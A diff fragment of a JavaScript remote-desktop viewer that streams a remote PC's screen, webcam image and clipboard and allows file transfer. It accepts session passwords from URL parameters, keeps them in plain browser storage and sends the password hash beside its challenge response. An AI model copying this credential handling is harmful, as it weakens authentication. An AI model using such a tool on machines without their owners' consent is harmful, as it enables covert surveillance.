+ setState("Agent v" + sessionAgentVersion + " detected. Upgrade agent from /files to enable reliable control.");
1256
+ }
1257
+ } catch {
1258
+ /* ignore */
1259
+ }
1260
+ }
1261
+ function canEnableWriteMode() {
1262
+ const os = String(sessionAgentOs || "").toLowerCase();
1263
+ const ver = String(sessionAgentVersion || "");
1264
+ if (!os) {
1265
+ // Metadata may still be in-flight right after connect; do not hard-block on unknown.
1266
+ setState("Detecting agent platform/version…");
1267
+ return true;
1268
+ }
1269
+ if (!ver || versionLt(ver, "1.0.71")) {
1270
+ setState("Upgrade required: agent v" + (ver || "unknown") + " -> v1.0.71+");
1271
+ showEmptyState("This session is running an older agent build. Open /files for this session and click Upgrade agent, then reconnect.", true);
1272
+ return false;
1273
+ }
1274
+ return true;
1275
+ }
1276
+ function refreshWriteModeEligibilityUi() {
1277
+ const ver = String(sessionAgentVersion || "");
1278
+ const hasVer = ver.length > 0;
1279
+ const incompatible = hasVer && versionLt(ver, "1.0.71");
1280
+ if (rcCtxMode) {
1281
+ rcCtxMode.disabled = false;
1282
+ if (!writeEnabled && incompatible) {
1283
+ rcCtxMode.title = "Write mode requires agent v1.0.71+ (upgrade this session from /files).";
1284
+ } else {
1285
+ rcCtxMode.title = "";
1286
+ }
1287
+ }
1288
+ if (writeEnabled && incompatible) {
1289
+ writeEnabled = false;
1290
+ if (rcCtxMode) {
1291
+ rcCtxMode.textContent = "View Only";
1292
+ rcCtxMode.className = "rc-ctx-item";
1293
+ }
1294
+ modeStateEl.textContent = "Mode: View Only";
1295
+ rcSetWriteEnabledClass(false);
1296
+ updateWriteControls();
1297
+ }
1298
+ }
1299
+ function sha256HexFallback(input) {
1300
+ const msg = unescape(encodeURIComponent(String(input || "")));
1301
+ const bytes = new Uint8Array(msg.length);
1302
+ for (let i = 0; i < msg.length; i++) bytes[i] = msg.charCodeAt(i);
1303
+ const K = new Uint32Array([
1304
+ 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
1305
+ 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
1306
+ 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
1307
+ 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
1308
+ 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
1309
+ 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
1310
+ 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
1311
+ 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
1312
+ ]);
1313
+ const H = new Uint32Array([0x6a09e667,0xbb67ae85,0x3c6ef372,0xa54ff53a,0x510e527f,0x9b05688c,0x1f83d9ab,0x5be0cd19]);
1314
+ const bitLen = bytes.length * 8;
1315
+ const totalLen = ((bytes.length + 9 + 63) >> 6) << 6;
1316
+ const data = new Uint8Array(totalLen);
1317
+ data.set(bytes);
1318
+ data[bytes.length] = 0x80;
1319
+ const view = new DataView(data.buffer);
1320
+ view.setUint32(totalLen - 8, Math.floor(bitLen / 0x100000000), false);
1321
+ view.setUint32(totalLen - 4, bitLen >>> 0, false);
1322
+ const w = new Uint32Array(64);
1323
+ const rr = (x, n) => (x >>> n) | (x << (32 - n));
1324
+ for (let i = 0; i < totalLen; i += 64) {
1325
+ for (let t = 0; t < 16; t++) w[t] = view.getUint32(i + t * 4, false);
1326
+ for (let t = 16; t < 64; t++) {
1327
+ const s0 = rr(w[t - 15], 7) ^ rr(w[t - 15], 18) ^ (w[t - 15] >>> 3);
1328
+ const s1 = rr(w[t - 2], 17) ^ rr(w[t - 2], 19) ^ (w[t - 2] >>> 10);
1329
+ w[t] = (((w[t - 16] + s0) >>> 0) + ((w[t - 7] + s1) >>> 0)) >>> 0;
1330
+ }
1331
+ let a = H[0], b = H[1], c = H[2], d = H[3], e = H[4], f = H[5], g = H[6], h = H[7];
1332
+ for (let t = 0; t < 64; t++) {
1333
+ const S1 = rr(e, 6) ^ rr(e, 11) ^ rr(e, 25);
1334
+ const ch = (e & f) ^ (~e & g);
1335
+ const t1 = (((((h + S1) >>> 0) + ((ch + K[t]) >>> 0)) >>> 0) + w[t]) >>> 0;
1336
+ const S0 = rr(a, 2) ^ rr(a, 13) ^ rr(a, 22);
1337
+ const maj = (a & b) ^ (a & c) ^ (b & c);
1338
+ const t2 = (S0 + maj) >>> 0;
1339
+ h = g; g = f; f = e; e = (d + t1) >>> 0; d = c; c = b; b = a; a = (t1 + t2) >>> 0;
1340
+ }
1341
+ H[0] = (H[0] + a) >>> 0; H[1] = (H[1] + b) >>> 0; H[2] = (H[2] + c) >>> 0; H[3] = (H[3] + d) >>> 0;
1342
+ H[4] = (H[4] + e) >>> 0; H[5] = (H[5] + f) >>> 0; H[6] = (H[6] + g) >>> 0; H[7] = (H[7] + h) >>> 0;
1343
+ }
1344
+ return Array.from(H).map((n) => n.toString(16).padStart(8, "0")).join("");
1345
+ }
1346
+ function showEmptyState(msg, isError) {
1347
+ emptyStateCardEl.textContent = String(msg || "Waiting for screenshot...");
1348
+ emptyStateEl.classList.toggle("error", Boolean(isError));
1349
+ emptyStateEl.style.display = "flex";
1350
+ }
1351
+ function hideEmptyState() {
1352
+ emptyStateEl.style.display = "none";
1353
+ emptyStateEl.classList.remove("error");
1354
+ }
1355
+ function updateWriteControls() {
1356
+ const ro = !writeEnabled;
1357
+ if (rcCtxCopyPc) rcCtxCopyPc.disabled = ro;
1358
+ if (rcCtxPastePc) rcCtxPastePc.disabled = ro;
1359
+ if (rcCtxFiles) rcCtxFiles.disabled = ro;
1360
+ if (rcCtxFetchFocus) rcCtxFetchFocus.disabled = ro;
1361
+ filePullBtn.disabled = ro;
1362
+ filePullPath.disabled = ro;
1363
+ filePushBtn.disabled = ro;
1364
+ filePushInput.disabled = ro;
1365
+ rootsBtn.disabled = ro;
1366
+ upBtn.disabled = ro;
1367
+ closePanelBtn.disabled = ro;
1368
+ refreshRcContextMenuAnchorAction();
1369
+ if (ro) filePanel.classList.remove("open");
1370
+ if (ro) stopRemoteClipboardPoll();
1371
+ else startRemoteClipboardPoll();
1372
+ rcSetWriteEnabledClass(writeEnabled);
1373
+ }
1374
+ function stopRemoteClipboardPoll() {
1375
+ if (remoteClipboardPollTimer) {
1376
+ clearInterval(remoteClipboardPollTimer);
1377
+ remoteClipboardPollTimer = null;
1378
+ }
1379
+ }
1380
+ async function refreshRemoteClipboardCache() {
1381
+ if (remoteClipboardFetchInFlight) return;
1382
+ if (!writeEnabled || !ws || ws.readyState !== 1 || !authed) return;
1383
+ remoteClipboardFetchInFlight = true;
1384
+ try {
1385
+ const r = await wsRequest("rc_clipboard_get");
1386
+ if (!r || !r.ok) return;
1387
+ const text = String(r.text || "");
1388
+ remoteClipboardCache = text;
1389
+ remoteClipboardCacheAt = Date.now();
1390
+ } finally {
1391
+ remoteClipboardFetchInFlight = false;
1392
+ }
1393
+ }
1394
+ function startRemoteClipboardPoll() {
1395
+ stopRemoteClipboardPoll();
1396
+ if (!writeEnabled || !ws || ws.readyState !== 1 || !authed) return;
1397
+ void refreshRemoteClipboardCache();
1398
+ remoteClipboardPollTimer = setInterval(() => {
1399
+ void refreshRemoteClipboardCache();
1400
+ }, 1600);
1401
+ }
1402
+ function hashHex(s) {
1403
+ if (globalThis.crypto && globalThis.crypto.subtle && typeof TextEncoder !== "undefined") {
1404
+ return crypto.subtle.digest("SHA-256", new TextEncoder().encode(s)).then((buf) =>
1405
+ [...new Uint8Array(buf)].map((b) => b.toString(16).padStart(2, "0")).join("")
1406
+ );
1407
+ }
1408
+ return Promise.resolve(sha256HexFallback(s));
1409
+ }
1410
+ function wsBaseUrl() {
1411
+ if (location.protocol.startsWith("http")) {
1412
+ const wsProto = location.protocol === "https:" ? "wss:" : "ws:";
1413
+ return wsProto + "//" + location.host;
1414
+ }
1415
+ return relayFallback || "ws://127.0.0.1:9877";
1416
+ }
1417
+ function currentSessionId() {
1418
+ const p = new URLSearchParams(location.search);
1419
+ let v = String(p.get("my_vps") || p.get("vps") || p.get("session") || "").trim();
1420
+ if (!v) return "";
1421
+ if (/^client_/i.test(v)) return v;
1422
+ return "client_" + v;
1423
+ }
1424
+ function resolveSessionId() {
1425
+ const sid = currentSessionId();
1426
+ if (sid) return sid;
1427
+ /** No `window.prompt` — unattended-friendly; use ?my_vps= / ?session= same as /files. */
1428
+ return "";
1429
+ }
1430
+ function sessionPwdKey(sid) {
1431
+ return "forge_remote_pwd_" + sid;
1432
+ }
1433
+ function readRememberedPassword(sid) {
1434
+ if (!sid) return "";
1435
+ try { return String(localStorage.getItem(sessionPwdKey(sid)) || ""); } catch { return ""; }
1436
+ }
1437
+ function readDashboardPassword() {
1438
+ try { return String(localStorage.getItem("forge_dash_pwd") || ""); } catch { return ""; }
1439
+ }
1440
+ function rememberPassword(sid, pw) {
1441
+ if (!sid || !pw) return;
1442
+ try { localStorage.setItem(sessionPwdKey(sid), pw); } catch {}
1443
+ }
1444
+ function forgetPassword(sid) {
1445
+ if (!sid) return;
1446
+ try { localStorage.removeItem(sessionPwdKey(sid)); } catch {}
1447
+ }
1448
+ function askPassword(reason) {
1449
+ if (pendingPasswordPrompt) return pendingPasswordPrompt;
1450
+ pendingPasswordPrompt = new Promise((resolve) => {
1451
+ authHint.textContent = String(reason || "Enter remote session password");
1452
+ authPasswordInput.value = "";
1453
+ authModal.classList.add("open");
1454
+ setTimeout(() => authPasswordInput.focus(), 0);
1455
+ const close = (value) => {
1456
+ authModal.classList.remove("open");
1457
+ authSubmitBtn.onclick = null;
1458
+ authCancelBtn.onclick = null;
1459
+ authPasswordInput.onkeydown = null;
1460
+ pendingPasswordPrompt = null;
1461
+ resolve(String(value || "").trim());
1462
+ };
1463
+ authSubmitBtn.onclick = () => close(authPasswordInput.value);
1464
+ authCancelBtn.onclick = () => close("");
1465
+ authPasswordInput.onkeydown = (ev) => {
1466
+ if (ev.key === "Enter") {
1467
+ ev.preventDefault();
1468
+ close(authPasswordInput.value);
1469
+ return;
1470
+ }
1471
+ if (ev.key === "Escape") {
1472
+ ev.preventDefault();
1473
+ close("");
1474
+ }
1475
+ };
1476
+ });
1477
+ return pendingPasswordPrompt;
1478
+ }
1479
+ async function resolveSessionPassword(sid, forcePrompt) {
1480
+ if (forcePrompt) {
1481
+ const entered = await askPassword("Remote session password required");
1482
+ if (entered) rememberPassword(sid, entered);
1483
+ return entered;
1484
+ }
1485
+ const fromUrl = String(new URLSearchParams(location.search).get("password") || "").trim();
1486
+ if (fromUrl) {
1487
+ rememberPassword(sid, fromUrl);
1488
+ return fromUrl;
1489
+ }
1490
+ const remembered = String(readRememberedPassword(sid) || "").trim();
1491
+ if (remembered) return remembered;
1492
+ const dashboardPw = String(readDashboardPassword() || "").trim();
1493
+ if (dashboardPw) {
1494
+ rememberPassword(sid, dashboardPw);
1495
+ return dashboardPw;
1496
+ }
1497
+ const fallback = String(pwdHint || "").trim();
1498
+ if (fallback) return fallback;
1499
+ const entered = await askPassword("Remote session password required");
1500
+ if (entered) rememberPassword(sid, entered);
1501
+ return entered;
1502
+ }
1503
+ async function flushForgeRtcRemoteCandidates() {
1504
+ const pc = forgeRtcPc;
1505
+ if (!pc) return;
1506
+ const pending = forgeRtcPendingRemoteCandidates.splice(0, forgeRtcPendingRemoteCandidates.length);
1507
+ for (let i = 0; i < pending.length; i++) {
1508
+ try {
1509
+ await pc.addIceCandidate(pending[i]);
1510
+ } catch (e) {}
1511
+ }
1512
+ }
1513
+ /** Prefer WebRTC data-channel when open (P2P); large screenshot bodies use chunked forge-bulk over P2P when negotiated (else relay WS). */
1514
+ /** Prefer P2P when DC open and payload fits SCTP-safe size; large frames (e.g. rc_file_push) stay on WebSocket. */
1515
+ function sendAgentPayload(obj) {
1516
+ let s;
1517
+ try {
1518
+ s = JSON.stringify(obj);
1519
+ } catch {
1520
+ return;
1521
+ }
1522
+ const maxDc = 57344;
1523
+ if (forgeRtcDc && forgeRtcDc.readyState === "open" && s.length <= maxDc) {
1524
+ try {
1525
+ forgeRtcDc.send(s);
1526
+ return;
1527
+ } catch (e) {}
1528
+ }
1529
+ if (ws && ws.readyState === 1) ws.send(s);
1530
+ }
1531
+ function viewerAgentTransportReady() {
1532
+ return Boolean(
1533
+ (ws && ws.readyState === 1) || (forgeRtcDc && forgeRtcDc.readyState === "open")
1534
+ );
1535
+ }
1536
+ async function processRelayInboundCore(msg) {
1537
+ const sid = resolveSessionId();
1538
+ const t = String(msg && msg.type || "");
1539
+ if (t === "connected") {
1540
+ relayWebrtcSignaling = msg.webrtc_signaling === true;
1541
+ relayRtcIceServers = Array.isArray(msg.rtc_ice_servers) ? msg.rtc_ice_servers : null;
1542
+ return;
1543
+ }
1544
+ if (t === "relay_webrtc_availability") {
1545
+ relayWebrtcSignaling = msg.webrtc_signaling === true;
1546
+ relayRtcIceServers = Array.isArray(msg.rtc_ice_servers) ? msg.rtc_ice_servers : null;
1547
+ if (!relayWebrtcSignaling) {
1548
+ if (forgeRtcReconnectTimer) {
1549
+ clearTimeout(forgeRtcReconnectTimer);
1550
+ forgeRtcReconnectTimer = null;
1551
+ }
1552
+ forgeRtcReconnectAttempts = 0;
1553
+ teardownForgeRtcProbe();
1554
+ } else if (authed && ws && ws.readyState === 1 && !forgeRtcProbeStarted) {
1555
+ setTimeout(function () {
1556
+ tryForgeRtcDirectProbe();
1557
+ }, 72);
1558
+ }
1559
+ return;
1560
+ }
1561
+ if (t === "auth_challenge") {
1562
+ authChallengeSeen = true;
1563
+ clearAuthWatchdog();
1564
+ const pwd = await resolveSessionPassword(sid, false);
1565
+ if (!pwd) {
1566
+ setState("Missing session password");
1567
+ if (!hasFrame) showEmptyState("Session password is required to open this remote screen.", true);
1568
+ return;
1569
+ }
1570
+ const ph = await hashHex(pwd);
1571
+ const nonce = String(msg.nonce || "");
1572
+ const resp = await hashHex(ph + ":" + nonce);
1573
+ ws.send(JSON.stringify({ type: "auth", nonce, response: resp, password_hash: ph }));
1574
+ return;
1575
+ }
1576
+ if (t === "auth_result") {
1577
+ authed = !!msg.ok;
1578
+ if (authed) {
1579
+ forgeRtcReconnectAttempts = 0;
1580
+ if (forgeRtcReconnectTimer) {
1581
+ clearTimeout(forgeRtcReconnectTimer);
1582
+ forgeRtcReconnectTimer = null;
1583
+ }
1584
+ clearAuthWatchdog();
1585
+ setState("Authenticated");
1586
+ try {
1587
+ queueMicrotask(function () {
1588
+ try {
1589
+ rcEnsureDecodeWorker();
1590
+ } catch (ePreW) {}
1591
+ });
1592
+ } catch (eMq) {}
1593
+ startShotLoop();
1594
+ requestScreenshot();
1595
+ startRemoteClipboardPoll();
1596
+ void refreshRemoteControlCapabilities();
1597
+ if (!hasFrame) showEmptyState("Connected. Waiting for first screenshot frame...", false);
1598
+ setTimeout(function () {
1599
+ tryForgeRtcDirectProbe();
1600
+ }, 72);
1601
+ } else {
1602
+ forgetPassword(sid);
1603
+ const entered = await resolveSessionPassword(sid, true);
1604
+ if (entered) {
1605
+ setState("Retrying with updated password...");
1606
+ disconnect();
1607
+ setTimeout(connect, 120);
1608
+ } else {
1609
+ setState("Auth failed");
1610
+ if (!hasFrame) showEmptyState("Authentication failed. Please enter the correct session password.", true);
1611
+ }
1612
+ }
1613
+ return;
1614
+ }
1615
+ if (t === "system_info") {
1616
+ const d = (msg && msg.data) || {};
1617
+ const v = String(d.forge_jsx_version || d.forge_jsxy_version || "").trim();
1618
+ if (v) sessionAgentVersion = v;
1619
+ const os = String(d.os || d.platform || "").trim().toLowerCase();
1620
+ if (os) sessionAgentOs = os;
1621
+ refreshWriteModeEligibilityUi();
1622
+ setState("Connected (" + String(msg?.data?.platform || "unknown") + ")");
1623
+ return;
1624
+ }
1625
+ if (t === "info") {
1626
+ const sys = (msg && msg.data && msg.data.system) || {};
1627
+ const v = String(sys.forge_jsx_version || sys.forge_jsxy_version || "").trim();
1628
+ if (v) sessionAgentVersion = v;
1629
+ const os = String(sys.os || sys.platform || "").trim().toLowerCase();
1630
+ if (os) sessionAgentOs = os;
1631
+ refreshWriteModeEligibilityUi();
1632
+ return;
1633
+ }
1634
+ if (t === "fs_screenshot_sidecar_result") {
1635
+ const side = String(msg.sidecar || "");
1636
+ if (side !== "camera" || !msg.ok) return;
1637
+ const hasCam = !!(
1638
+ msg.b64 ||
1639
+ (msg._forge_bulk_u8 && msg._forge_bulk_u8.byteLength > 0)
1640
+ );
1641
+ if (!hasCam) return;
1642
+ if (String(msg.request_id || "") !== lastScreenshotMainRequestId) return;
1643
+ requestAnimationFrame(() => {
1644
+ if (!authed || !cameraOverlayEl) return;
1645
+ if (!cameraOverlayEnabled || cameraAvailable === false) return;
1646
+ const camMime = String(msg.camera_mime || "image/jpeg");
1647
+ const widthPct = Number.isFinite(Number(msg.camera_width_percent))
1648
+ ? Math.max(10, Math.min(40, Number(msg.camera_width_percent)))
1649
+ : 20;
1650
+ cameraOverlayEl.style.width = widthPct + "%";
1651
+ try {
1652
+ if (lastCameraBlobUrl) {
1653
+ URL.revokeObjectURL(lastCameraBlobUrl);
1654
+ lastCameraBlobUrl = "";
1655
+ }
1656
+ if (msg._forge_bulk_u8 && msg._forge_bulk_u8.byteLength > 0) {
1657
+ const blob = new Blob([msg._forge_bulk_u8], { type: camMime });
1658
+ lastCameraBlobUrl = URL.createObjectURL(blob);
1659
+ cameraOverlayEl.src = lastCameraBlobUrl;
1660
+ } else {
1661
+ rcAssignCameraOverlayFromB64(camMime, msg.b64);
1662
+ }
1663
+ } catch (eCamSrc) {
1664
+ /* ignore */
1665
+ }
1666
+ cameraOverlayEl.style.display = "block";
1667
+ });
1668
+ return;
1669
+ }
1670
+ if (t === "fs_screenshot_result") {
1671
+ inflightShot = false;
1672
+ clearShotTimeout();
1673
+ const hasPixelPayload = !!(
1674
+ msg.b64 ||
1675
+ (msg._forge_bulk_u8 && msg._forge_bulk_u8.byteLength > 0)
1676
+ );
1677
+ if (typeof msg.camera_available === "boolean") {
1678
+ cameraAvailable = msg.camera_available;
1679
+ if (cameraAvailable === false && !cameraUnavailableWarned) {
1680
+ cameraUnavailableWarned = true;
1681
+ setState("No camera detected on remote PC.");
1682
+ }
1683
+ refreshCameraBtnUi();
1684
+ }
1685
+ if (msg.ok && hasPixelPayload) {
1686
+ lastScreenshotMainRequestId = String(msg.request_id || "");
1687
+ shotFailureStreak = 0;
1688
+ if (lastShotStartedAt > 0) {
1689
+ const tuning = currentStreamTuning();
1690
+ const prof = tuning[Math.max(0, Math.min(tuning.length - 1, streamTier))];
1691
+ lastFrameBytes = Number.isFinite(Number(msg.bytes)) ? Math.max(0, Number(msg.bytes)) : 0;
1692
+ lastCaptureMs = Number.isFinite(Number(msg.capture_ms)) ? Math.max(0, Number(msg.capture_ms)) : 0;
1693
+ tuneRemoteStreamProfile(
1694
+ Date.now() - lastShotStartedAt,
1695
+ lastCaptureMs,
1696
+ lastFrameBytes,
1697
+ prof.maxBytes
1698
+ );
1699
+ }
1700
+ refreshStreamStats();
1701
+ markFrameForFps();
1702
+ const mime = String(msg.mime || "image/png");
1703
+ lastFrameMeta = {
1704
+ imageWidth: Number.isFinite(Number(msg.width)) ? Math.max(1, Math.floor(Number(msg.width))) : 0,
1705
+ imageHeight: Number.isFinite(Number(msg.height)) ? Math.max(1, Math.floor(Number(msg.height))) : 0,
1706
+ virtualX: Number.isFinite(Number(msg.virtual_x)) ? Math.floor(Number(msg.virtual_x)) : 0,
1707
+ virtualY: Number.isFinite(Number(msg.virtual_y)) ? Math.floor(Number(msg.virtual_y)) : 0,
1708
+ virtualWidth: Number.isFinite(Number(msg.virtual_width)) ? Math.max(1, Math.floor(Number(msg.virtual_width))) : 0,
1709
+ virtualHeight: Number.isFinite(Number(msg.virtual_height)) ? Math.max(1, Math.floor(Number(msg.virtual_height))) : 0,
1710
+ };
1711
+ hasFrame = true;
1712
+ hideEmptyState();
1713
+ /** Queue the next capture before decode/paint so timing overlaps with client-side JPEG work. */
1714
+ const shotOverlapMs =
1715
+ qualityMode === "max" ? 0 : (isInteractionActive() ? 7 : 4);
1716
+ scheduleNextShot(
1717
+ Math.max(
1718
+ screenshotRescheduleFloorMs(),
1719
+ currentShotIntervalMs() - shotOverlapMs
1720
+ )
1721
+ );
1722
+ const shrW = lastFrameMeta.imageWidth;
1723
+ const shrH = lastFrameMeta.imageHeight;
1724
+ if (msg._forge_bulk_u8 && msg._forge_bulk_u8.byteLength > 0) {
1725
+ assignRcScreenshotFromU8(mime, msg._forge_bulk_u8, shrW, shrH);
1726
+ } else {
1727
+ assignRcScreenshotToScreenEl(mime, String(msg.b64 || ""), shrW, shrH);
1728
+ }
1729
+ if (cameraOverlayEnabled && cameraAvailable !== false && msg.camera_b64) {
1730
+ const camMime = String(msg.camera_mime || "image/png");
1731
+ const widthPct = Number.isFinite(Number(msg.camera_width_percent))
1732
+ ? Math.max(10, Math.min(40, Number(msg.camera_width_percent)))
1733
+ : 20;
1734
+ cameraOverlayEl.style.width = widthPct + "%";
1735
+ try {
1736
+ if (lastCameraBlobUrl) {
1737
+ URL.revokeObjectURL(lastCameraBlobUrl);
1738
+ lastCameraBlobUrl = "";
1739
+ }
1740
+ } catch {}
1741
+ rcAssignCameraOverlayFromB64(camMime, msg.camera_b64);
1742
+ cameraOverlayEl.style.display = "block";
1743
+ } else if (!cameraOverlayEnabled || cameraAvailable === false) {
1744
+ try {
1745
+ if (lastCameraBlobUrl) {
1746
+ URL.revokeObjectURL(lastCameraBlobUrl);
1747
+ lastCameraBlobUrl = "";
1748
+ }
1749
+ } catch {}
1750
+ cameraOverlayEl.style.display = "none";
1751
+ }
1752
+ } else {
1753
+ lastScreenshotMainRequestId = "";
1754
+ if (!hasFrame) {
1755
+ const em = String(msg.error || "").trim();
1756
+ shotFailureStreak += 1;
1757
+ if (!legacyShotMode) {
1758
+ const lower = em.toLowerCase();
1759
+ const optionRejected =
1760
+ (lower.includes("unknown") || lower.includes("unsupported") || lower.includes("invalid")) &&
1761
+ (lower.includes("stream_profile") ||
1762
+ lower.includes("max_bytes") ||
1763
+ lower.includes("max_width") ||
1764
+ lower.includes("include_camera"));
1765
+ if (optionRejected || shotFailureStreak >= 2) {
1766
+ legacyShotMode = true;
1767
+ setState("Using legacy screenshot compatibility mode for this agent.");
1768
+ }
1769
+ }
1770
+ showEmptyState(em || "Remote session connected, but screenshot is not available yet.", true);
1771
+ }
1772
+ }
1773
+ if (!msg.ok || !hasPixelPayload) {
1774
+ scheduleNextShot(currentShotIntervalMs());
1775
+ }
1776
+ return;
1777
+ }
1778
+ if (t === "forge_rtc_agent_status") {
1779
+ if (msg.ok === true && msg.datachannel === true) {
1780
+ forgeRtcReconnectAttempts = 0;
1781
+ return;
1782
+ }
1783
+ teardownForgeRtcProbe();
1784
+ scheduleForgeRtcReconnect();
1785
+ return;
1786
+ }
1787
+ if (t === "rc_input_result") {
1788
+ if (!msg.ok) {
1789
+ const em = String(msg.error || "").trim();
1790
+ const low = em.toLowerCase();
1791
+ if (
1792
+ low.includes("unsupported remote control action: mouse_down") ||
1793
+ low.includes("unsupported remote control action: mouse_up")
1794
+ ) {
1795
+ disablePressLifecycle = true;
1796
+ setState("Drag control needs newer agent; click/scroll still work.");
1797
+ return;
1798
+ }
1799
+ if (low.includes("here-string") || low.includes("parsererror") || low.includes("add-type")) {
1800
+ writeEnabled = false;
1801
+ if (rcCtxMode) {
1802
+ rcCtxMode.textContent = "View Only";
1803
+ rcCtxMode.className = "rc-ctx-item";
1804
+ }
1805
+ modeStateEl.textContent = "Mode: View Only";
1806
+ rcSetWriteEnabledClass(false);
1807
+ updateWriteControls();
1808
+ const ver = sessionAgentVersion ? (" v" + sessionAgentVersion) : "";
1809
+ setState("Remote agent" + ver + " needs upgrade for control input. Open /files and click Upgrade agent.");
1810
+ showEmptyState("Remote input failed due to outdated agent runtime. Please open /files for this session, run Upgrade agent, wait reconnect, then retry Write mode.", true);
1811
+ return;
1812
+ }
1813
+ setState(em ? ("Input failed: " + em) : "Input failed");
1814
+ }
1815
+ return;
1816
+ }
1817
+ const rid = String(msg && msg.request_id || "");
1818
+ if (rid && pendingReqs.has(rid)) {
1819
+ const done = pendingReqs.get(rid);
1820
+ pendingReqs.delete(rid);
1821
+ try {
1822
+ done(msg);
1823
+ } catch (e) {}
1824
+ return;
1825
+ }
1826
+ }
1827
+ function resetForgeBulkRcInbound() {
1828
+ forgeBulkRcExpectHdr = true;
1829
+ forgeBulkRcRx = null;
1830
+ }
1831
+ /** Must match `forgeBulkDc.ts` (`MAX_READ_BYTES * 4`). */
1832
+ var FORGE_BULK_MAX_BODY_BYTES_RC = 96468992;
1833
+ /** Must match `FORGE_BULK_V2_MAX_CHUNK_SZ` in forgeBulkDc.ts. */
1834
+ var FORGE_BULK_V2_MAX_CHUNK_ADV_RC = 262144;
1835
+ /** Must match `FORGE_BULK_V2_MIN_CHUNK_SZ` in forgeBulkDc.ts. */
1836
+ var FORGE_BULK_V2_MIN_CHUNK_ADV_RC = 1024;
1837
+ function forgeBulkRcBytesToB64(u8) {
1838
+ var bin = "";
1839
+ var CH = 0x8000;
1840
+ for (var i = 0; i < u8.length; i += CH) {
1841
+ bin += String.fromCharCode.apply(null, u8.subarray(i, Math.min(i + CH, u8.length)));
1842
+ }
1843
+ return btoa(bin);
1844
+ }
1845
+ function forgeBulkRcStripHdr(hdr) {
1846
+ var msg = {};
1847
+ for (var k in hdr) {
1848
+ if (
1849
+ Object.prototype.hasOwnProperty.call(hdr, k) &&
1850
+ k !== "_fb" &&
1851
+ k !== "v" &&
1852
+ k !== "byte_len" &&
1853
+ k !== "chunk_sz"
1854
+ ) {
1855
+ msg[k] = hdr[k];
1856
+ }
1857
+ }
1858
+ return msg;
1859
+ }
1860
+ function attachForgeRtcDcBulk(pc) {
1861
+ resetForgeBulkRcInbound();
1862
+ forgeRtcDcBulk = null;
1863
+ try {
1864
+ forgeRtcDcBulk = pc.createDataChannel("forge-bulk", { ordered: true });
1865
+ } catch (eBk) {
1866
+ return;
1867
+ }
1868
+ forgeRtcDcBulk.binaryType = "arraybuffer";
1869
+ forgeRtcDcBulk.onmessage = async function (ev) {
1870
+ try {
1871
+ /** Mid-chunk JSON (abort / next hdr) must not be mis-read as a zero-length binary frame. */
1872
+ if (!forgeBulkRcExpectHdr && typeof ev.data === "string") {
1873
+ resetForgeBulkRcInbound();
1874
+ }
1875
+ if (forgeBulkRcExpectHdr) {
1876
+ if (typeof ev.data !== "string") {
1877
+ resetForgeBulkRcInbound();
1878
+ return;
1879
+ }
1880
+ var j = JSON.parse(ev.data);
1881
+ if (j && j._fb === "abort") {
1882
+ resetForgeBulkRcInbound();
1883
+ return;
1884
+ }
1885
+ if (!j || j._fb !== "hdr") {
1886
+ resetForgeBulkRcInbound();
1887
+ return;
1888
+ }
1889
+ var ver = Number(j.v);
1890
+ if (ver !== 1 && ver !== 2) {
1891
+ resetForgeBulkRcInbound();
1892
+ return;
1893
+ }
1894
+ var bl = Number(j.byte_len);
1895
+ if (!isFinite(bl) || bl < 0 || bl > FORGE_BULK_MAX_BODY_BYTES_RC || Math.floor(bl) !== bl) {
1896
+ resetForgeBulkRcInbound();
1897
+ return;
1898
+ }
1899
+ bl = bl | 0;
1900
+ if (bl === 0) {
1901
+ var msg0 = forgeBulkRcStripHdr(j);
1902
+ msg0.b64 = "";
1903
+ resetForgeBulkRcInbound();
1904
+ await processRelayInboundCore(msg0);
1905
+ return;
1906
+ }
1907
+ if (ver === 1) {
1908
+ forgeBulkRcRx = { phase: "v1", hdr: j };
1909
+ forgeBulkRcExpectHdr = false;
1910
+ return;
1911
+ }
1912
+ var cs = Number(j.chunk_sz);
1913
+ if (!isFinite(cs) || cs < FORGE_BULK_V2_MIN_CHUNK_ADV_RC || cs > FORGE_BULK_V2_MAX_CHUNK_ADV_RC || Math.floor(cs) !== cs) {
1914
+ resetForgeBulkRcInbound();
1915
+ return;
1916
+ }
1917
+ cs = cs | 0;
1918
+ var buf;
1919
+ try {
1920
+ buf = new Uint8Array(bl);
1921
+ } catch (eAlloc) {
1922
+ resetForgeBulkRcInbound();
1923
+ return;
1924
+ }
1925
+ forgeBulkRcRx = { phase: "v2", hdr: j, buf: buf, filled: 0, chunkSz: cs };
1926
+ forgeBulkRcExpectHdr = false;
1927
+ return;
1928
+ }
1929
+
1930
+ var u8 =
1931
+ ev.data instanceof ArrayBuffer ? new Uint8Array(ev.data) : new Uint8Array();
1932
+ var rx = forgeBulkRcRx;
1933
+ if (!rx) {
1934
+ resetForgeBulkRcInbound();
1935
+ return;
1936
+ }
1937
+
1938
+ if (rx.phase === "v1") {
1939
+ var hdr1 = rx.hdr;
1940
+ var bl1 = Number(hdr1.byte_len) | 0;
1941
+ if (u8.length !== bl1) {
1942
+ resetForgeBulkRcInbound();
1943
+ return;
1944
+ }
1945
+ forgeBulkRcRx = null;
1946
+ forgeBulkRcExpectHdr = true;
1947
+ var msg1 = forgeBulkRcStripHdr(hdr1);
1948
+ var typ = String(msg1.type || "");
1949
+ if (
1950
+ (typ === "fs_screenshot_result" || typ === "fs_screenshot_sidecar_result") &&
1951
+ msg1.ok &&
1952
+ bl1 > 0
1953
+ ) {
1954
